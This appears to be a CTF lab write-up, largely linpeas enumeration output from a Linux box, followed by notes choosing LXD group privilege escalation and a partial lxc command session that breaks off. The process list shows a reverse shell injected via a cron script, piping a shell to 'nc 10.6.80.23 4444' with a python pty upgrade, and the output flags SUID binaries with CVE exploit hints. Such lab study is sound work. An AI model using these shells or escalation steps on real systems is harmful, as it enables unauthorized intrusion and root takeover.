-rw-r--r-- 1 root root 7857 Apr 22 2020 /lib/modules/4.15.0-99-generic/kernel/drivers/power/supply/-
wm831x_backup.ko
-rw-r--r-- 1 root root 1024050 May 13 2020 /var/log/samba/log.192.168.196.128.old
-rw-r--r-- 1 root root 7867 Nov 7 2016 /usr/share/doc/telnet/README.telnet.old.gz
-rw-r--r-- 1 root root 361345 Feb 2 2018 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 10939 May 11 2020 /usr/share/info/dir.old
-rw-r--r-- 1 root root 2766 Dec 5 2019 /usr/share/man/man8/vgcfbackup.8.gz
-rw-r--r-- 1 root root 1643 Oct 26 2017 /usr/share/man/man8/tdbbackup.tdbtools.8.gz
-rwxr-xr-x 1 root root 226 Dec 4 2017 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 35544 Mar 25 2020 /usr/lib/open-vm-tools/plugins/vmsvc/libvmbbackup.so
-rwxr-xr-x 1 root root 14328 Oct 26 2017 /usr/bin/tdbbackup.tdbtools
-rw-r--r-- 1 root root 217469 Apr 22 2020 /usr/src/linux-headers-4.15.0-99-generic/.config.old
-rw-r--r-- 1 root root 0 Apr 22 2020 /usr/src/linux-headers-4.15.0-99-generic/include/config/net/-
team/mode/activebackup.h
-rw-r--r-- 1 root root 0 Apr 22 2020 /usr/src/linux-headers-4.15.0-99-generic/include/config/-
wm831x/backup.h
-rw-r--r-- 1 root root 2765 Feb 3 2020 /etc/apt/sources.list.curtin.old
```

===== Searching tables inside readable .db/.sql/.sqlite files (limit 100)

```
Found: /snap/core/8268/lib/firmware/regulatory.db: CRDA wireless regulatory database file
Found: /snap/core/9066/lib/firmware/regulatory.db: CRDA wireless regulatory database file
Found: /var/lib/mlocate/mlocate.db: regular file, no read permission
```

===== Web files?(output limit)

===== All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)

```
-rw-rw-r-- 1 namelessone namelessone 215 May 13 2020 /home/namelessone/.wget-hsts
-rw-r--r-- 1 namelessone namelessone 220 Apr 4 2018 /home/namelessone/.bash_logout
```

```
-rw-rw-r-- 1 namelessone namelessone 66 May 12 2020 /home/namelessone/.selected_editor
-rw-r--r-- 1 root root 37 Jul 18 00:10 /run/cloud-init/.instance-id
-rw-r--r-- 1 root root 2 Jul 18 00:09 /run/cloud-init/.ds-identify.result
-rw-r--r-- 1 landscape landscape 0 Feb 3 2020 /var/lib/landscape/.cleanup.user
-rw-r--r-- 1 root root 1531 May 11 2020 /var/cache/apparmor/.features
-rw----- 1 root root 0 Dec 6 2019 /snap/core/8268/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Aug 31 2015 /snap/core/8268/etc/skel/.bash_logout
-rw----- 1 root root 0 Apr 10 2020 /snap/core/9066/etc/.pwd.lock
-rw-r--r-- 1 root root 220 Aug 31 2015 /snap/core/9066/etc/skel/.bash_logout
-rw----- 1 root root 0 Feb 3 2020 /etc/.pwd.lock
-rw-r--r-- 1 root root 1531 May 11 2020 /etc/apparmor.d/cache/.features
-rw-r--r-- 1 root root 220 Apr 4 2018 /etc/skel/.bash_logout
```

Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)

```
-rw-r--r-- 1 root root 32138 May 13 2020 /var/backups/apt.extended_states.0
-rw-r--r-- 1 root root 3485 May 12 2020 /var/backups/apt.extended_states.1.gz
-rw-r--r-- 1 root root 3276 May 11 2020 /var/backups/apt.extended_states.2.gz
```

## PERMISSIONS

```
Interesting Files
SUID - Check easy privesc, exploits and write perms
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strings Not Found
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/9066/bin/ping6
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/9066/bin/ping
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 31K Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 35K Jan 18 2018 /usr/bin/env
-rwsr-xr-x 1 daemon daemon 51K Feb 20 2018 /usr/bin/at --->
RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-- 1 root dip 386K Jun 12 2018 /snap/core/8268/usr/sbin/pppd --->
Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root root 99K Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 427K Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 419K Mar 4 2019 /snap/core/9066/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 419K Mar 4 2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 59K Mar 22 2019 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/-
Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 40K Mar 22 2019 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 37K Mar 22 2019 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Mar 22 2019 /usr/bin/chsh
-rwsr-xr-x 1 root root 75K Mar 22 2019 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Mar 22 2019 /bin/su
-rwsr-xr-x 1 root root 53K Mar 25 2019 /snap/core/9066/usr/bin/passwd --->
Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 74K Mar 25 2019 /snap/core/9066/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/9066/usr/bin/chsh
-rwsr-xr-x 1 root root 71K Mar 25 2019 /snap/core/9066/usr/bin/chfn --->
SuSE_9.3/10
-rwsr-xr-x 1 root root 53K Mar 25 2019 /snap/core/8268/usr/bin/passwd --->
Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 74K Mar 25 2019 /snap/core/8268/usr/bin/gpasswd
-rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/8268/usr/bin/chsh
-rwsr-xr-x 1 root root 71K Mar 25 2019 /snap/core/8268/usr/bin/chfn --->
SuSE_9.3/10
-rwsr-xr-x 1 root root 39K Mar 25 2019 /snap/core/9066/usr/bin/newgrp ---> HP-
UX_10.20
-rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/9066/bin/su
-rwsr-xr-x 1 root root 39K Mar 25 2019 /snap/core/8268/usr/bin/newgrp ---> HP-
UX_10.20
-rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 14K Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 22K Mar 27 2019 /usr/bin/pkexec --->
Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-- 1 root messagebus 42K Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

```

-rwsr-xr-- 1 root    systemd-resolve 42K Jun 10 2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-
launch-helper
-rwsr-xr-x 1 root    root          19K Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root    root          63K Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root    root          27K Oct 10 2019 /snap/core/8268/bin/umount ---> BSD/-
Linux(08-1996)
-rwsr-xr-x 1 root    root          40K Oct 10 2019 /snap/core/8268/bin/mount --->
Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root    root          134K Oct 11 2019 /snap/core/8268/usr/bin/sudo --->
check_if_the_sudo_version_is_vulnerable
-rwsr-sr-x 1 root    root          107K Oct 30 2019 /usr/lib/snapd/snap-confine --->
Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-- 1 root    systemd-resolve 42K Nov 29 2019 /snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-
launch-helper
-rwsr-sr-x 1 root    root          105K Dec 6 2019 /snap/core/8268/usr/lib/snapd/snap-confine
---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root    root          27K Jan 27 2020 /snap/core/9066/bin/umount ---> BSD/-
Linux(08-1996)
-rwsr-xr-x 1 root    root          40K Jan 27 2020 /snap/core/9066/bin/mount --->
Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root    root          146K Jan 31 2020 /usr/bin/sudo --->
check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root    root          134K Jan 31 2020 /snap/core/9066/usr/bin/sudo --->
check_if_the_sudo_version_is_vulnerable
-rwsr-xr-- 1 root    dip          386K Feb 11 2020 /snap/core/9066/usr/sbin/pppd --->
Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root    root          27K Mar 5 2020 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root    root          43K Mar 5 2020 /bin/mount --->
Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root    root          109K Apr 10 2020 /snap/core/9066/usr/lib/snapd/snap-confine
---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)

```

#### SGID

```

https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/9066/usr/bin/mail-unlock
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/9066/usr/bin/mail-touchlock
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/9066/usr/bin/mail-lock
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/8268/usr/bin/mail-unlock
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/8268/usr/bin/mail-touchlock
-rwxr-sr-x 3 root    mail          15K Dec 3 2012 /snap/core/8268/usr/bin/mail-lock
-rwxr-sr-x 1 root    mail          15K Dec 7 2013 /snap/core/9066/usr/bin/dotlockfile
-rwxr-sr-x 1 root    mail          15K Dec 7 2013 /snap/core/8268/usr/bin/dotlockfile
-rwxr-sr-x 1 root    utmp          10K Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root    systemd-network 36K Apr 5 2016 /snap/core/9066/usr/bin/crontab
-rwxr-sr-x 1 root    systemd-network 36K Apr 5 2016 /snap/core/8268/usr/bin/crontab
-rwxr-sr-x 1 root    crontab        39K Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root    tty           14K Jan 17 2018 /usr/bin/bsd-write
-rwsr-sr-x 1 daemon  daemon       51K Feb 20 2018 /usr/bin/at
-rwxr-sr-x 1 root    mlocate       43K Mar 1 2018 /usr/bin/mlocate
-rwxr-sr-x 1 root    shadow       35K Apr 9 2018 /snap/core/9066/sbin/unix_chkpwd
-rwxr-sr-x 1 root    shadow       35K Apr 9 2018 /snap/core/9066/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root    shadow       35K Apr 9 2018 /snap/core/8268/sbin/unix_chkpwd
-rwxr-sr-x 1 root    shadow       35K Apr 9 2018 /snap/core/8268/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root    shadow       34K Feb 27 2019 /sbin/unix_chkpwd
-rwxr-sr-x 1 root    shadow       34K Feb 27 2019 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root    ssh          355K Mar 4 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root    crontab        351K Mar 4 2019 /snap/core/9066/usr/bin/ssh-agent
-rwxr-sr-x 1 root    crontab        351K Mar 4 2019 /snap/core/8268/usr/bin/ssh-agent
-rwxr-sr-x 1 root    shadow       23K Mar 22 2019 /usr/bin/expiry
-rwxr-sr-x 1 root    shadow       71K Mar 22 2019 /usr/bin/chage
-rwxr-sr-x 1 root    shadow       23K Mar 25 2019 /snap/core/9066/usr/bin/expiry
-rwxr-sr-x 1 root    shadow       61K Mar 25 2019 /snap/core/9066/usr/bin/chage
-rwxr-sr-x 1 root    shadow       23K Mar 25 2019 /snap/core/8268/usr/bin/expiry
-rwxr-sr-x 1 root    shadow       61K Mar 25 2019 /snap/core/8268/usr/bin/chage
-rwxr-sr-x 1 root    tty           27K Oct 10 2019 /snap/core/8268/usr/bin/wall
-rwsr-sr-x 1 root    root          107K Oct 30 2019 /usr/lib/snapd/snap-confine
-rwsr-sr-x 1 root    root          105K Dec 6 2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root    tty           27K Jan 27 2020 /snap/core/9066/usr/bin/wall
-rwxr-sr-x 1 root    tty           31K Mar 5 2020 /usr/bin/wall

```

#### Checking misconfigurations of ld.so

```

https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so
/etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

/etc/ld.so.conf.d
/etc/ld.so.conf.d/libc.conf
/usr/local/lib

```

```

/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/usr/local/lib/x86_64-linux-gnu
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu

```

## PROCESSES

### Processes, Cron, Services, Timers & Sockets

#### Cleaned processes

```

Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-
escalation#processes
root      1  0.9  1.0 159760 5016 ?      Ss   00:08   0:27 /sbin/init maybe-ubiquity
root     407  0.1  1.6 111248 8268 ?      S<s  00:09   0:03 /lib/systemd/systemd-journald
root     419  0.0  0.2  97708 1268 ?      Ss   00:09   0:00 /sbin/lvmtool -f
root     426  0.2  0.7  45560 3744 ?      Ss   00:09   0:07 /lib/systemd/systemd-udevd
systemd+ 507  0.0  0.6 141936 3392 ?      Ssl  00:09   0:00 /lib/systemd/systemd-timesyncd
└─(Caps) 0x0000000002000000=cap_sys_time
systemd+ 674  0.0  0.5  80060 2772 ?      Ss   00:10   0:00 /lib/systemd/systemd-networkd
└─(Caps) 0x0000000000003c00=cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw
systemd+ 686  0.0  0.4  70640 2392 ?      Ss   00:10   0:00 /lib/systemd/systemd-resolved
root     775  0.0  0.7 286256 3492 ?      Ssl  00:10   0:00 /usr/lib/accountsservice/accounts-
daemon[0m
root     776  0.0  1.2 264064 5844 ?      Ss   00:10   0:00 /usr/sbin/nmbd --foreground --no-
process-group
daemon[0m 790  0.0  0.4 28332 2096 ?      Ss   00:10   0:00 /usr/sbin/atd -f
root     792  0.0  0.5  30028 2780 ?      Ss   00:10   0:00 /usr/sbin/cron -f
root    1270  0.0  0.5  57500 2476 ?      S    00:16   0:00 _ /usr/sbin/CRON -f
nameles+ 1271  0.0  0.1  4628 796 ?      Ss   00:16   0:00 | _ /bin/sh -c /var/ftp/scripts/-
clean.sh
nameles+ 1272  0.0  0.1  4628 824 ?      S    00:16   0:00 | _ /bin/sh /var/ftp/-
scripts/clean.sh
nameles+ 1275  0.0  0.1  6316 800 ?      S    00:16   0:00 | _ cat /tmp/f
nameles+ 1276  0.0  0.1  4628 756 ?      S    00:16   0:00 | _ sh -i
nameles+ 1453  0.0  1.0 34852 5204 ?      S    00:33   0:00 | _ python -c
import pty; pty.spawn("/bin/bash")
nameles+ 1454  0.0  0.7  21220 3600 pts/0  Ss   00:33   0:00 | _ /bin/bash
nameles+ 1504  0.0  1.1  53824 5492 pts/0  S+   00:37   0:00 | _ vim
nameles+ 1277  0.0  0.3  15716 1856 ?      S    00:16   0:00 | _ nc 10.6.80.23 4444
root    1505  0.0  0.5  57500 2476 ?      S    00:38   0:00 _ /usr/sbin/CRON -f
nameles+ 1506  0.0  0.1  4628 800 ?      Ss   00:38   0:00 | _ /bin/sh -c /var/ftp/scripts/-
clean.sh
nameles+ 1507  0.0  0.1  4628 848 ?      S    00:38   0:00 | _ /bin/sh /var/ftp/-
scripts/clean.sh
nameles+ 1510  0.0  0.1  6316 728 ?      S    00:38   0:00 | _ cat /tmp/f
nameles+ 1511  0.0  0.1  4628 796 ?      S    00:38   0:00 | _ sh -i
nameles+ 1513  0.0  1.1 34980 5436 ?      S    00:38   0:00 | _ python -c
import pty; pty.spawn("/bin/bash")
nameles+ 1514  0.0  0.7  21220 3684 pts/1  Ss   00:38   0:00 | _ /bin/bash
nameles+ 1565  0.0  0.5  5552 2708 pts/1  S+   00:42   0:00 | _ /bin/-
sh ./linpeas.sh -a
nameles+ 6204  0.0  0.2  13136 1048 pts/1  S+   00:54   0:00 | _
grep -v /.git/|/sources/authors/
nameles+ 6205  0.0  0.2  13136 1052 pts/1  S+   00:54   0:00 | _
grep -
Ev .tif$|.tif$|.gif$|.jpeg$|.jpg$|.jif$|.jif$|.jp2$|.jpx$|.j2k$|.j2c$|.fpx$|.pcd$|.png$|.pdf$|.fl-
v$|.mp4$|.mp3$|.gifv$|.avi$|.mov$|.mpeg$|.wav$|.doc$|.docx$|.xls$|.xlsx$|.svg$
nameles+ 6206  0.0  0.2  13136 1100 pts/1  S+   00:54   0:00 | _
grep -Ev 0{20,}
nameles+ 6207  0.0  0.6 24372 2932 pts/1  S+   00:54   0:00 | _ awk
-F: {if (pre != $1){ print $0; }; pre=$1}
nameles+ 6208  0.0  0.6 24372 2940 pts/1  S+   00:54   0:00 | _ awk
-F/ {line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 2){ print line_init; } if (cont
== "2"){print " #)There are more hashes files in the previous parent foldern"; if (act == pre)-
{(cont += 1)} else {cont=0}; pre=act }
nameles+ 6209  0.0  0.1  6188 780 pts/1  S+   00:54   0:00 | _
head -n 50
nameles+ 1512  0.0  0.3  15716 1900 ?      S    00:38   0:00 | _ nc 10.6.80.23 4444
root    6223  0.0  0.6  57500 3188 ?      S    00:56   0:00 _ /usr/sbin/CRON -f
nameles+ 6224  0.0  0.1  4628 768 ?      Ss   00:56   0:00 | _ /bin/sh -c /var/ftp/scripts/-
clean.sh

```



names+ 6225 0.0 0.1 4628 772 ?	S	00:56	0:00	_ /bin/sh /var/ftp/-
scripts/clean.sh				
names+ 6228 0.0 0.1 6316 836 ?	S	00:56	0:00	_ cat /tmp/f
names+ 6229 0.0 0.1 4628 800 ?	S	00:56	0:00	_ sh -i
names+ 6246 0.1 0.5 5420 2544 ?	S	00:57	0:00	_ /bin/sh ./-
linpeas.sh				
names+ 7278 0.0 0.1 5420 932 ?	S	00:57	0:00	_ /bin/sh ./-
linpeas.sh				
names+ 7282 0.0 0.7 38524 3704 ?	R	00:57	0:00	_ ps
fauxwww				
names+ 7281 0.0 0.1 5420 932 ?	S	00:57	0:00	_ /bin/sh ./-
linpeas.sh				
names+ 6230 0.0 0.4 15716 2168 ?	S	00:56	0:00	_ nc 10.6.80.23 4444
root 793 0.0 2.2 169100 10780 ?	Ssl	00:10	0:02	/usr/bin/python3 /usr/bin/networkd-
dispatcher --run-startup-triggers				
root 795 0.4 2.8 632804 13752 ?	Ssl	00:10	0:12	/usr/lib/snapd/snapd
root 796 0.1 0.5 636904 2444 ?	Ssl	00:10	0:03	/usr/bin/lxcfs /var/lib/lxcfs/
syslog 797 0.0 0.5 263036 2832 ?	Ssl	00:10	0:00	/usr/sbin/rsyslogd -n
root 799 0.0 0.6 62124 3232 ?	Ss	00:10	0:00	/lib/systemd/systemd-logind
message+ 800 0.0 0.6 50144 3096 ?	Ss	00:10	0:00	/usr/bin/dbus-daemon --system --
address=systemd: --nofork --nopicfile --systemd-activation --syslog-only				
└─(Caps) 0x0000000020000000=cap_audit_write				
root 811 0.0 0.3 29148 1808 ?	Ss	00:10	0:00	/usr/sbin/vsftpd /etc/vsftpd.conf
root 825 0.0 0.4 14664 2140 ttyS0	Ss+	00:10	0:00	/sbin/agetty -o -p -- u --keep-
baud 115200,38400,9600 ttyS0 vt220				
root 826 0.0 0.5 72300 2736 ?	Ss	00:10	0:00	/usr/sbin/sshd -D
root 827 0.0 0.3 14888 1672 tty1	Ss+	00:10	0:00	/sbin/agetty -o -p -- u --noclear
tty1 linux				
root 837 0.0 1.0 291456 5068 ?	Ssl	00:10	0:00	/usr/lib/policykit-1/polkitd --no-
debug				
root 853 0.0 2.3 185944 11500 ?	Ssl	00:10	0:01	/usr/bin/python3 /usr/share/-
unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal				
root 858 0.0 1.6 355396 8224 ?	Ss	00:10	0:01	/usr/sbin/smbd --foreground --no-
process-group				
root 863 0.0 0.7 343660 3816 ?	S	00:10	0:00	_ /usr/sbin/smbd --foreground --
no-process-group				
root 864 0.0 0.5 343652 2860 ?	S	00:10	0:00	_ /usr/sbin/smbd --foreground --
no-process-group				
root 865 0.0 0.8 355396 4336 ?	S	00:10	0:00	_ /usr/sbin/smbd --foreground --
no-process-group				
root 2608 0.1 3.2 718880 16040 ?	Ssl	00:42	0:01	/usr/lib/lxd/lxd --group lxd --
logfile=/var/log/lxd/lxd.log				
uuid 8585 0.0 0.1 26848 848 ?	Ss	00:43	0:00	/usr/sbin/uuid --socket-activation
root 8597 0.0 0.1 4552 836 ?	Ss	00:43	0:00	/usr/sbin/acpid

## USERS & GROUPS

```

=====
Users Information
=====
My user
https://book.hacktricks.xyz/linux-unix/privilege-escalation#users
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),-
30(dip),46(plugdev),108(lxd)

=====
Superusers
root:x:0:0:root:/root:/bin/bash

=====
Users with console
namelessone:x:1000:1000:namelessone:/home/namelessone:/bin/bash
root:x:0:0:root:/root:/bin/bash

=====
All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),-
30(dip),46(plugdev),108(lxd)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(apt) gid=65534(nogroup) groups=65534(nogroup)

```

```
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuid) gid=110(uuid) groups=110(uuid)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon[0m) groups=1(daemon[0m)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=111(ftp) gid=113(ftp) groups=113(ftp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
```

```
===== Login now
00:57:29 up 48 min, 0 users, load average: 0.28, 0.07, 0.08
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU   WHAT
```

## NETWORK

```
===== Finding IPs inside logs (limit 70)
429 0.18.04.4
194 0.18.04.1
89 0.18.04.2
73 3.18.04.2
69 192.168.196.2
67 192.168.196.130
66 91.189.94.4
65 0.18.04.5
53 91.189.91.157
44 1.18.04.1
42 2.18.04.1
41 91.189.89.198
41 255.255.255.255
36 192.168.196.128
34 192.168.196.1
32 18.04.11.10
29 7.18.04.2
28 91.189.89.199
28 0.18.04.6
22 18.04.11.12
21 5.18.04.3
21 1.18.04.13
19 3.192.1.7
19 0.96.24.32
16 1.18.04.14
12 2.18.04.3
12 0.18.04.3
9 6.18.04.1
9 172.30.16.1
9 0.19.8.1
8 018.09.18.1
7 192.168.196.255
7 172.30.27.77
7 10.10.40.30
7 10.10.120.64
6 10.1.122.133
4 10.8.6.110
3 19.12.1.5
2 0.99.7.1
1 127.255.255.255
```

## Network Information

### Hostname, hosts and DNS

```
anonymous
127.0.0.1 localhost
127.0.1.1 anonymous

::1    ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

nameserver 127.0.0.53
options edns0
search eu-west-1.compute.internal
```

### Content of /etc/inetd.conf & /etc/xinetd.conf

/etc/inetd.conf Not Found

### Interfaces

```
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
    inet 10.10.40.30 netmask 255.255.0.0  broadcast 10.10.255.255
    inet6 fe80::91:f5ff:fe8b:f68d prefixlen 64  scopeid 0x20<link>
    ether 02:91:f5:8b:f6:8d txqueuelen 1000  (Ethernet)
    RX packets 1847 bytes 1428493 (1.4 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1700 bytes 680368 (680.3 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 352 bytes 28150 (28.1 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 352 bytes 28150 (28.1 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

### Networks and neighbours

Kernel IP routing table

Destination	Gateway	Genmask	Flags	Metric	Ref	Use	Iface
default	ip-10-10-0-1.eu	0.0.0.0	UG	100	0	0	eth0
10.10.0.0	0.0.0.0	255.255.0.0	U	0	0	0	eth0
ip-10-10-0-1.eu	0.0.0.0	255.255.255.255	UH	100	0	0	eth0

Address	HWtype	HWaddress	Flags	Mask	Iface
ip-10-10-0-1.eu-west-1.	ether	02:c8:85:b5:5a:aa	C		eth0

### Iptables rules

iptables rules Not Found

### Active Ports

<https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports>

tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:445	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:139	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::21	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
tcp6	0	0	:::445	:::*	LISTEN	-
tcp6	0	0	:::139	:::*	LISTEN	-

### Can I sniff with tcpdump?

No

## SUMMARY OF VULNERABILITIES

High level summary of the system's vulnerabilities -- basically a forced stop-and-check processing stage so as not to drop into rabbit holes.

LXD, env, sudo

# ATTACK SURFACE

## What are the vulnerabilities?

LXD, env, sudo

## What seems most likely or most straightforward to leverage and why?

LXD, because I don't have password for the user.

## Do we have all the correct files/versions/access to exploit?

Shit hopefully.

## SUMMARY OF ESCALATION

**Name:** LXD Privelage Escalation

**Link:** <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/175c676f1e61d095101dba6884eb6a996f34f9b5/-/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>

**TYPE:** misconfigured privelements

### EXPLANATION:

A member of the local "lxd" group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match the privileges of the calling user. There are multiple methods to exploit this.

One of them is to use the LXD API to mount the host's root filesystem into a container which is going to use in this post. This gives a low-privilege user root access to the host filesystem.

## HOW WAS THIS DISCOVERED (should be in steps for enum, vuln)?

Linpeas

## HOW WAS THIS EXPLOITED?

Linux Container (LXC) are often considered as a lightweight virtualization technology that is something in the middle between a chroot and a completely developed virtual machine, which creates an environment as close as possible to a Linux installation but without the need for a separate kernel.

## SCREENSHOTS:

```
namelessone@anonymous:~$ ls
alpine-v3.14-i686-20210718_0428.tar.gz  linpeas.sh  pwn.sh  user.txt
alpine-v3.14-x86_64-20210718_0400.tar  metadata.yaml  rootfs
alpine-v3.14-x86_64-20210718_0421.tar.gz  pics  templates
namelessone@anonymous:~$ lxc image import ./alpine.tar.gz --alias myimage
Error: open ./alpine.tar.gz: no such file or directory
namelessone@anonymous:~$ lxc image import alias --alias myimage
alias
namelessone@anonymous:~$ lxc image import alpine-v3.14- --alias myimage
alpine-v3.14-i686-20210718_0428.tar.gz
alpine-v3.14-x86_64-20210718_0400.tar
